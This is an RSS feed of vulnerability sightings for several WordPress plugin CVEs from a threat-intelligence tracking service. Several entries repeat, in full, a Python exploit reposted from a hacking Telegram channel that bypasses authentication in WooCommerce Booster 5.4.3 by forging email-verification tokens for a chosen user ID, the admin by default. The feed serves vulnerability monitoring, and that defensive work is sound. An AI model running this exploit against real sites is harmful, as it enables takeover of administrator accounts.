https://vulnerability.circl.lu Contains only the most 10 recent sightings. http://www.rssboard.org/rss-specification python-feedgen en Tue, 06 Oct 2026 14:34:55 +0000 https://vulnerability.circl.lu/sighting/77c549cd-e014-479b-a6c0-5f6e127d114b/export {"uuid": "77c549cd-e014-479b-a6c0-5f6e127d114b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-34646", "type": "published-proof-of-concept", "source": "Telegram/HpvRlDBORm0kLsO1zg2R5Kugqpwi6YO_LawI6LgE5lPyRWI", "content": "", "creation_timestamp": "2026-09-15T00:00:31.000733Z"} {"uuid": "77c549cd-e014-479b-a6c0-5f6e127d114b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-34646", "type": "published-proof-of-concept", "source": "Telegram/HpvRlDBORm0kLsO1zg2R5Kugqpwi6YO_LawI6LgE5lPyRWI", "content": "", "creation_timestamp": "2026-09-15T00:00:31.000733Z"} https://vulnerability.circl.lu/sighting/77c549cd-e014-479b-a6c0-5f6e127d114b/export Tue, 15 Sep 2026 00:00:31 +0000 https://vulnerability.circl.lu/sighting/4670bd12-3037-46d1-95d1-39a19037d3b6/export {"uuid": "4670bd12-3037-46d1-95d1-39a19037d3b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-34646", "type": "seen", "source": "Telegram/HpvRlDBORm0kLsO1zg2R5Kugqpwi6YO_LawI6LgE5lPyRWI", "content": "", "creation_timestamp": "2026-09-14T03:00:06.049579Z"} {"uuid": "4670bd12-3037-46d1-95d1-39a19037d3b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-34646", "type": "seen", "source": "Telegram/HpvRlDBORm0kLsO1zg2R5Kugqpwi6YO_LawI6LgE5lPyRWI", "content": "", "creation_timestamp": "2026-09-14T03:00:06.049579Z"} https://vulnerability.circl.lu/sighting/4670bd12-3037-46d1-95d1-39a19037d3b6/export Mon, 14 Sep 2026 03:00:06 +0000 https://vulnerability.circl.lu/sighting/07da409d-edf0-4b3c-acc4-90722b159ae1/export {"uuid": "07da409d-edf0-4b3c-acc4-90722b159ae1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-34646", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/24014", "content": "Exploit CollectorWordPress WooCommerce Booster 5.4.3 Authentication Bypass \n\n\nWordPress WooCommerce Booster plugin version 5.4.3 suffers from an authentication bypass vulnerability.\n\nMD5 | 37a02e12c72652ac4ee9bb16b94742a8\n\nDownload\n\n\n\n# Exploit Title: WordPress Plugin WooCommerce Booster Plugin 5.4.3 - Authentication Bypass\n# Date: 2021-09-16\n# Exploit Author: Sebastian Kriesten (0xB455)\n# Contact: https://twitter.com/0xB455\n#\n# Affected Plugin: Booster for WooCommerce\n# Plugin Slug: woocommerce-jetpack\n# Vulnerability disclosure: https://www.wordfence.com/blog/2021/08/critical=-authentication-bypass-vulnerability-patched-in-booster-for-woocommerce/\n# Affected Versions: <= 5.4.3\n# Fully Patched Version: >= 5.4.4\n# CVE: CVE-2021-34646\n# CVSS Score: 9.8 (Critical)\n# Category: webapps\n#\n# 1:\n# Goto: https://target.com/wp-json/wp/v2/users/\n# Pick a user-ID (e.g. 1 - usualy is the admin)\n#\n# 2:\n# Attack with: ./exploit_CVE-2021-34646.py https://target.com/ 1\n#\n# 3:\n# Check-Out out which of the generated links allows you to access the system\n#\nimport requests,sys,hashlib\nimport argparse\nimport datetime\nimport email.utils\nimport calendar\nimport base64\n\nB = \"\\033[94m\"\nW = \"\\033[97m\"\nR = \"\\033[91m\"\nRST = \"\\033[0;0m\"\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"url\", help=\"the base url\")\nparser.add_argument('id', type=int, help='the user id', default=1)\nargs = parser.parse_args()\nid = str(args.id)\nurl = args.url\nif args.url[-1] != \"/\": # URL needs trailing /\nurl = url + \"/\"\n\nverify_url= url + \"?wcj_user_id=\" + id\nr = requests.get(verify_url)\n\nif r.status_code != 200:\nprint(\"status code != 200\")\nprint(r.headers)\nsys.exit(-1)\n\ndef email_time_to_timestamp(s):\ntt = email.utils.parsedate_tz(s)\nif tt is None: return None\nreturn calendar.timegm(tt) - tt[9]\n\ndate = r.headers[\"Date\"]\nunix = email_time_to_timestamp(date)\n\ndef printBanner():\nprint(f\"{W}Timestamp: {B}\" + date)\nprint(f\"{W}Timestamp (unix): {B}\" + str(unix) + f\"{W}\\n\")\nprint(\"We need to generate multiple timestamps in order to avoid delay related timing errors\")\nprint(\"One of the following links will log you in...\\n\")\n\nprintBanner()\n\n\n\nfor i in range(3): # We need to try multiple timestamps as we don't get the exact hash time and need to avoid delay related timing errors\nhash = hashlib.md5(str(unix-i).encode()).hexdigest()\nprint(f\"{W}#\" + str(i) + f\" link for hash {R}\"+hash+f\"{W}:\")\ntoken='{\"id\":\"'+ id +'\",\"code\":\"'+hash+'\"}'\ntoken = base64.b64encode(token.encode()).decode()\ntoken = token.rstrip(\"=\") # remove trailing =\nlink = url+\"my-account/?wcj_verify_email=\"+token\nprint(link + f\"\\n{RST}\")\n\n\n\n\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-07T15:00:06.295468Z"} {"uuid": "07da409d-edf0-4b3c-acc4-90722b159ae1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-34646", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/24014", "content": "Exploit CollectorWordPress WooCommerce Booster 5.4.3 Authentication Bypass \n\n\nWordPress WooCommerce Booster plugin version 5.4.3 suffers from an authentication bypass vulnerability.\n\nMD5 | 37a02e12c72652ac4ee9bb16b94742a8\n\nDownload\n\n\n\n# Exploit Title: WordPress Plugin WooCommerce Booster Plugin 5.4.3 - Authentication Bypass\n# Date: 2021-09-16\n# Exploit Author: Sebastian Kriesten (0xB455)\n# Contact: https://twitter.com/0xB455\n#\n# Affected Plugin: Booster for WooCommerce\n# Plugin Slug: woocommerce-jetpack\n# Vulnerability disclosure: https://www.wordfence.com/blog/2021/08/critical=-authentication-bypass-vulnerability-patched-in-booster-for-woocommerce/\n# Affected Versions: <= 5.4.3\n# Fully Patched Version: >= 5.4.4\n# CVE: CVE-2021-34646\n# CVSS Score: 9.8 (Critical)\n# Category: webapps\n#\n# 1:\n# Goto: https://target.com/wp-json/wp/v2/users/\n# Pick a user-ID (e.g. 1 - usualy is the admin)\n#\n# 2:\n# Attack with: ./exploit_CVE-2021-34646.py https://target.com/ 1\n#\n# 3:\n# Check-Out out which of the generated links allows you to access the system\n#\nimport requests,sys,hashlib\nimport argparse\nimport datetime\nimport email.utils\nimport calendar\nimport base64\n\nB = \"\\033[94m\"\nW = \"\\033[97m\"\nR = \"\\033[91m\"\nRST = \"\\033[0;0m\"\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"url\", help=\"the base url\")\nparser.add_argument('id', type=int, help='the user id', default=1)\nargs = parser.parse_args()\nid = str(args.id)\nurl = args.url\nif args.url[-1] != \"/\": # URL needs trailing /\nurl = url + \"/\"\n\nverify_url= url + \"?wcj_user_id=\" + id\nr = requests.get(verify_url)\n\nif r.status_code != 200:\nprint(\"status code != 200\")\nprint(r.headers)\nsys.exit(-1)\n\ndef email_time_to_timestamp(s):\ntt = email.utils.parsedate_tz(s)\nif tt is None: return None\nreturn calendar.timegm(tt) - tt[9]\n\ndate = r.headers[\"Date\"]\nunix = email_time_to_timestamp(date)\n\ndef printBanner():\nprint(f\"{W}Timestamp: {B}\" + date)\nprint(f\"{W}Timestamp (unix): {B}\" + str(unix) + f\"{W}\\n\")\nprint(\"We need to generate multiple timestamps in order to avoid delay related timing errors\")\nprint(\"One of the following links will log you in...\\n\")\n\nprintBanner()\n\n\n\nfor i in range(3): # We need to try multiple timestamps as we don't get the exact hash time and need to avoid delay related timing errors\nhash = hashlib.md5(str(unix-i).encode()).hexdigest()\nprint(f\"{W}#\" + str(i) + f\" link for hash {R}\"+hash+f\"{W}:\")\ntoken='{\"id\":\"'+ id +'\",\"code\":\"'+hash+'\"}'\ntoken = base64.b64encode(token.encode()).decode()\ntoken = token.rstrip(\"=\") # remove trailing =\nlink = url+\"my-account/?wcj_verify_email=\"+token\nprint(link + f\"\\n{RST}\")\n\n\n\n\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-07T15:00:06.295468Z"} https://vulnerability.circl.lu/sighting/07da409d-edf0-4b3c-acc4-90722b159ae1/export Mon, 07 Sep 2026 15:00:06 +0000 https://vulnerability.circl.lu/sighting/54e5d8cb-8675-449e-ac95-6076b1a9f840/export {"uuid": "54e5d8cb-8675-449e-ac95-6076b1a9f840", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-34646", "type": "seen", "source": "https://t.me/hacking_Attack/24014", "content": "Exploit CollectorWordPress WooCommerce Booster 5.4.3 Authentication Bypass \n\n\nWordPress WooCommerce Booster plugin version 5.4.3 suffers from an authentication bypass vulnerability.\n\nMD5 | 37a02e12c72652ac4ee9bb16b94742a8\n\nDownload\n\n\n\n# Exploit Title: WordPress Plugin WooCommerce Booster Plugin 5.4.3 - Authentication Bypass\n# Date: 2021-09-16\n# Exploit Author: Sebastian Kriesten (0xB455)\n# Contact: https://twitter.com/0xB455\n#\n# Affected Plugin: Booster for WooCommerce\n# Plugin Slug: woocommerce-jetpack\n# Vulnerability disclosure: https://www.wordfence.com/blog/2021/08/critical=-authentication-bypass-vulnerability-patched-in-booster-for-woocommerce/\n# Affected Versions: <= 5.4.3\n# Fully Patched Version: >= 5.4.4\n# CVE: CVE-2021-34646\n# CVSS Score: 9.8 (Critical)\n# Category: webapps\n#\n# 1:\n# Goto: https://target.com/wp-json/wp/v2/users/\n# Pick a user-ID (e.g. 1 - usualy is the admin)\n#\n# 2:\n# Attack with: ./exploit_CVE-2021-34646.py https://target.com/ 1\n#\n# 3:\n# Check-Out out which of the generated links allows you to access the system\n#\nimport requests,sys,hashlib\nimport argparse\nimport datetime\nimport email.utils\nimport calendar\nimport base64\n\nB = \"\\033[94m\"\nW = \"\\033[97m\"\nR = \"\\033[91m\"\nRST = \"\\033[0;0m\"\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"url\", help=\"the base url\")\nparser.add_argument('id', type=int, help='the user id', default=1)\nargs = parser.parse_args()\nid = str(args.id)\nurl = args.url\nif args.url[-1] != \"/\": # URL needs trailing /\nurl = url + \"/\"\n\nverify_url= url + \"?wcj_user_id=\" + id\nr = requests.get(verify_url)\n\nif r.status_code != 200:\nprint(\"status code != 200\")\nprint(r.headers)\nsys.exit(-1)\n\ndef email_time_to_timestamp(s):\ntt = email.utils.parsedate_tz(s)\nif tt is None: return None\nreturn calendar.timegm(tt) - tt[9]\n\ndate = r.headers[\"Date\"]\nunix = email_time_to_timestamp(date)\n\ndef printBanner():\nprint(f\"{W}Timestamp: {B}\" + date)\nprint(f\"{W}Timestamp (unix): {B}\" + str(unix) + f\"{W}\\n\")\nprint(\"We need to generate multiple timestamps in order to avoid delay related timing errors\")\nprint(\"One of the following links will log you in...\\n\")\n\nprintBanner()\n\n\n\nfor i in range(3): # We need to try multiple timestamps as we don't get the exact hash time and need to avoid delay related timing errors\nhash = hashlib.md5(str(unix-i).encode()).hexdigest()\nprint(f\"{W}#\" + str(i) + f\" link for hash {R}\"+hash+f\"{W}:\")\ntoken='{\"id\":\"'+ id +'\",\"code\":\"'+hash+'\"}'\ntoken = base64.b64encode(token.encode()).decode()\ntoken = token.rstrip(\"=\") # remove trailing =\nlink = url+\"my-account/?wcj_verify_email=\"+token\nprint(link + f\"\\n{RST}\")\n\n\n\n\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:22.713503Z"} {"uuid": "54e5d8cb-8675-449e-ac95-6076b1a9f840", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-34646", "type": "seen", "source": "https://t.me/hacking_Attack/24014", "content": "Exploit CollectorWordPress WooCommerce Booster 5.4.3 Authentication Bypass \n\n\nWordPress WooCommerce Booster plugin version 5.4.3 suffers from an authentication bypass vulnerability.\n\nMD5 | 37a02e12c72652ac4ee9bb16b94742a8\n\nDownload\n\n\n\n# Exploit Title: WordPress Plugin WooCommerce Booster Plugin 5.4.3 - Authentication Bypass\n# Date: 2021-09-16\n# Exploit Author: Sebastian Kriesten (0xB455)\n# Contact: https://twitter.com/0xB455\n#\n# Affected Plugin: Booster for WooCommerce\n# Plugin Slug: woocommerce-jetpack\n# Vulnerability disclosure: https://www.wordfence.com/blog/2021/08/critical=-authentication-bypass-vulnerability-patched-in-booster-for-woocommerce/\n# Affected Versions: <= 5.4.3\n# Fully Patched Version: >= 5.4.4\n# CVE: CVE-2021-34646\n# CVSS Score: 9.8 (Critical)\n# Category: webapps\n#\n# 1:\n# Goto: https://target.com/wp-json/wp/v2/users/\n# Pick a user-ID (e.g. 1 - usualy is the admin)\n#\n# 2:\n# Attack with: ./exploit_CVE-2021-34646.py https://target.com/ 1\n#\n# 3:\n# Check-Out out which of the generated links allows you to access the system\n#\nimport requests,sys,hashlib\nimport argparse\nimport datetime\nimport email.utils\nimport calendar\nimport base64\n\nB = \"\\033[94m\"\nW = \"\\033[97m\"\nR = \"\\033[91m\"\nRST = \"\\033[0;0m\"\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"url\", help=\"the base url\")\nparser.add_argument('id', type=int, help='the user id', default=1)\nargs = parser.parse_args()\nid = str(args.id)\nurl = args.url\nif args.url[-1] != \"/\": # URL needs trailing /\nurl = url + \"/\"\n\nverify_url= url + \"?wcj_user_id=\" + id\nr = requests.get(verify_url)\n\nif r.status_code != 200:\nprint(\"status code != 200\")\nprint(r.headers)\nsys.exit(-1)\n\ndef email_time_to_timestamp(s):\ntt = email.utils.parsedate_tz(s)\nif tt is None: return None\nreturn calendar.timegm(tt) - tt[9]\n\ndate = r.headers[\"Date\"]\nunix = email_time_to_timestamp(date)\n\ndef printBanner():\nprint(f\"{W}Timestamp: {B}\" + date)\nprint(f\"{W}Timestamp (unix): {B}\" + str(unix) + f\"{W}\\n\")\nprint(\"We need to generate multiple timestamps in order to avoid delay related timing errors\")\nprint(\"One of the following links will log you in...\\n\")\n\nprintBanner()\n\n\n\nfor i in range(3): # We need to try multiple timestamps as we don't get the exact hash time and need to avoid delay related timing errors\nhash = hashlib.md5(str(unix-i).encode()).hexdigest()\nprint(f\"{W}#\" + str(i) + f\" link for hash {R}\"+hash+f\"{W}:\")\ntoken='{\"id\":\"'+ id +'\",\"code\":\"'+hash+'\"}'\ntoken = base64.b64encode(token.encode()).decode()\ntoken = token.rstrip(\"=\") # remove trailing =\nlink = url+\"my-account/?wcj_verify_email=\"+token\nprint(link + f\"\\n{RST}\")\n\n\n\n\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:22.713503Z"} https://vulnerability.circl.lu/sighting/54e5d8cb-8675-449e-ac95-6076b1a9f840/export Tue, 01 Sep 2026 20:02:22 +0000 https://vulnerability.circl.lu/sighting/0e596e6b-22db-429d-9831-ae5a1cf43a61/export {"uuid": "0e596e6b-22db-429d-9831-ae5a1cf43a61", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-34646", "type": "seen", "source": "MISP/d17bd6ef-d68b-317b-ac33-cdbc44c5fc57", "content": "", "creation_timestamp": "2025-08-31T03:12:48.000000Z"} {"uuid": "0e596e6b-22db-429d-9831-ae5a1cf43a61", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-34646", "type": "seen", "source": "MISP/d17bd6ef-d68b-317b-ac33-cdbc44c5fc57", "content": "", "creation_timestamp": "2025-08-31T03:12:48.000000Z"} https://vulnerability.circl.lu/sighting/0e596e6b-22db-429d-9831-ae5a1cf43a61/export Sun, 31 Aug 2025 03:12:48 +0000 https://vulnerability.circl.lu/sighting/f9d57301-50f4-481d-9d8c-edd4c8c013ef/export {"uuid": "f9d57301-50f4-481d-9d8c-edd4c8c013ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-34646", "type": "seen", "source": "MISP/ab0b745f-bbd5-338e-8b92-97dd0c757e9d", "content": "", "creation_timestamp": "2025-08-31T03:01:08.000000Z"} {"uuid": "f9d57301-50f4-481d-9d8c-edd4c8c013ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-34646", "type": "seen", "source": "MISP/ab0b745f-bbd5-338e-8b92-97dd0c757e9d", "content": "", "creation_timestamp": "2025-08-31T03:01:08.000000Z"} https://vulnerability.circl.lu/sighting/f9d57301-50f4-481d-9d8c-edd4c8c013ef/export Sun, 31 Aug 2025 03:01:08 +0000 https://vulnerability.circl.lu/sighting/570e19a3-b6b7-4f9f-be19-317042143ee7/export {"uuid": "570e19a3-b6b7-4f9f-be19-317042143ee7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-34640", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/17463", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2021-34640\n\ud83d\udd25 CVSS Score: 6.1 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)\n\ud83d\udd39 Description: The Securimage-WP-Fixed WordPress plugin is vulnerable to Reflected Cross-Site Scripting due to the use of $_SERVER['PHP_SELF'] in the ~/securimage-wp.php file which allows attackers to inject arbitrary web scripts, in versions up to and including 3.5.4.\n\ud83d\udccf Published: 2021-08-11T15:00:01.135Z\n\ud83d\udccf Modified: 2025-05-23T20:10:32.777Z\n\ud83d\udd17 References:\n1. https://plugins.trac.wordpress.org/browser/securimage-wp-fixed/trunk/securimage-wp.php#L628\n2. https://www.wordfence.com/vulnerability-advisories/#CVE-2021-34640", "creation_timestamp": "2025-05-23T20:46:45.000000Z"} {"uuid": "570e19a3-b6b7-4f9f-be19-317042143ee7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-34640", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/17463", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2021-34640\n\ud83d\udd25 CVSS Score: 6.1 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)\n\ud83d\udd39 Description: The Securimage-WP-Fixed WordPress plugin is vulnerable to Reflected Cross-Site Scripting due to the use of $_SERVER['PHP_SELF'] in the ~/securimage-wp.php file which allows attackers to inject arbitrary web scripts, in versions up to and including 3.5.4.\n\ud83d\udccf Published: 2021-08-11T15:00:01.135Z\n\ud83d\udccf Modified: 2025-05-23T20:10:32.777Z\n\ud83d\udd17 References:\n1. https://plugins.trac.wordpress.org/browser/securimage-wp-fixed/trunk/securimage-wp.php#L628\n2. https://www.wordfence.com/vulnerability-advisories/#CVE-2021-34640", "creation_timestamp": "2025-05-23T20:46:45.000000Z"} https://vulnerability.circl.lu/sighting/570e19a3-b6b7-4f9f-be19-317042143ee7/export Fri, 23 May 2025 20:46:45 +0000 https://vulnerability.circl.lu/sighting/389d7362-b34e-46a0-99ed-1afdda58d75e/export {"uuid": "389d7362-b34e-46a0-99ed-1afdda58d75e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-34648", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/9735", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2021-34648\n\ud83d\udd25 CVSS Score: 6.4 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N)\n\ud83d\udd39 Description: The Ninja Forms WordPress plugin is vulnerable to arbitrary email sending via the trigger_email_action function found in the ~/includes/Routes/Submissions.php file, in versions up to and including 3.5.7. This allows authenticated attackers to send arbitrary emails from the affected server via the /ninja-forms-submissions/email-action REST API which can be used to socially engineer victims.\n\ud83d\udccf Published: 2021-09-22T17:53:11.689Z\n\ud83d\udccf Modified: 2025-03-31T18:20:03.844Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/blog/2021/09/recently-patched-vulnerabilities-in-ninja-forms-plugin-affects-over-1-million-site-owners/\n2. https://plugins.trac.wordpress.org/browser/ninja-forms/trunk/includes/Routes/Submissions.php?rev=2543837#L155", "creation_timestamp": "2025-03-31T18:32:13.000000Z"} {"uuid": "389d7362-b34e-46a0-99ed-1afdda58d75e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-34648", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/9735", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2021-34648\n\ud83d\udd25 CVSS Score: 6.4 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N)\n\ud83d\udd39 Description: The Ninja Forms WordPress plugin is vulnerable to arbitrary email sending via the trigger_email_action function found in the ~/includes/Routes/Submissions.php file, in versions up to and including 3.5.7. This allows authenticated attackers to send arbitrary emails from the affected server via the /ninja-forms-submissions/email-action REST API which can be used to socially engineer victims.\n\ud83d\udccf Published: 2021-09-22T17:53:11.689Z\n\ud83d\udccf Modified: 2025-03-31T18:20:03.844Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/blog/2021/09/recently-patched-vulnerabilities-in-ninja-forms-plugin-affects-over-1-million-site-owners/\n2. https://plugins.trac.wordpress.org/browser/ninja-forms/trunk/includes/Routes/Submissions.php?rev=2543837#L155", "creation_timestamp": "2025-03-31T18:32:13.000000Z"} https://vulnerability.circl.lu/sighting/389d7362-b34e-46a0-99ed-1afdda58d75e/export Mon, 31 Mar 2025 18:32:13 +0000 https://vulnerability.circl.lu/sighting/62dd3988-75bc-4c36-b144-385eb0cb5ed4/export {"uuid": "62dd3988-75bc-4c36-b144-385eb0cb5ed4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-34648", "type": "seen", "source": "https://t.me/cibsecurity/29248", "content": "\u203c CVE-2021-34648 \u203c\n\nThe Ninja Forms WordPress plugin is vulnerable to arbitrary email sending via the trigger_email_action function found in the ~/includes/Routes/Submissions.php file, in versions up to and including 3.5.7. This allows authenticated attackers to send arbitrary emails from the affected server via the /ninja-forms-submissions/email-action REST API which can be used to socially engineer victims.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-09-22T22:29:06.000000Z"} {"uuid": "62dd3988-75bc-4c36-b144-385eb0cb5ed4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-34648", "type": "seen", "source": "https://t.me/cibsecurity/29248", "content": "\u203c CVE-2021-34648 \u203c\n\nThe Ninja Forms WordPress plugin is vulnerable to arbitrary email sending via the trigger_email_action function found in the ~/includes/Routes/Submissions.php file, in versions up to and including 3.5.7. This allows authenticated attackers to send arbitrary emails from the affected server via the /ninja-forms-submissions/email-action REST API which can be used to socially engineer victims.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-09-22T22:29:06.000000Z"} https://vulnerability.circl.lu/sighting/62dd3988-75bc-4c36-b144-385eb0cb5ed4/export Wed, 22 Sep 2021 22:29:06 +0000 https://vulnerability.circl.lu/sighting/5158c349-b90d-4859-a31d-5579da712a92/export {"uuid": "5158c349-b90d-4859-a31d-5579da712a92", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-34647", "type": "seen", "source": "https://t.me/cibsecurity/29247", "content": "\u203c CVE-2021-34647 \u203c\n\nThe Ninja Forms WordPress plugin is vulnerable to sensitive information disclosure via the bulk_export_submissions function found in the ~/includes/Routes/Submissions.php file, in versions up to and including 3.5.7. This allows authenticated attackers to export all Ninja Forms submissions data via the /ninja-forms-submissions/export REST API which can include personally identifiable information.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-09-22T22:29:05.000000Z"} {"uuid": "5158c349-b90d-4859-a31d-5579da712a92", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-34647", "type": "seen", "source": "https://t.me/cibsecurity/29247", "content": "\u203c CVE-2021-34647 \u203c\n\nThe Ninja Forms WordPress plugin is vulnerable to sensitive information disclosure via the bulk_export_submissions function found in the ~/includes/Routes/Submissions.php file, in versions up to and including 3.5.7. This allows authenticated attackers to export all Ninja Forms submissions data via the /ninja-forms-submissions/export REST API which can include personally identifiable information.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-09-22T22:29:05.000000Z"} https://vulnerability.circl.lu/sighting/5158c349-b90d-4859-a31d-5579da712a92/export Wed, 22 Sep 2021 22:29:05 +0000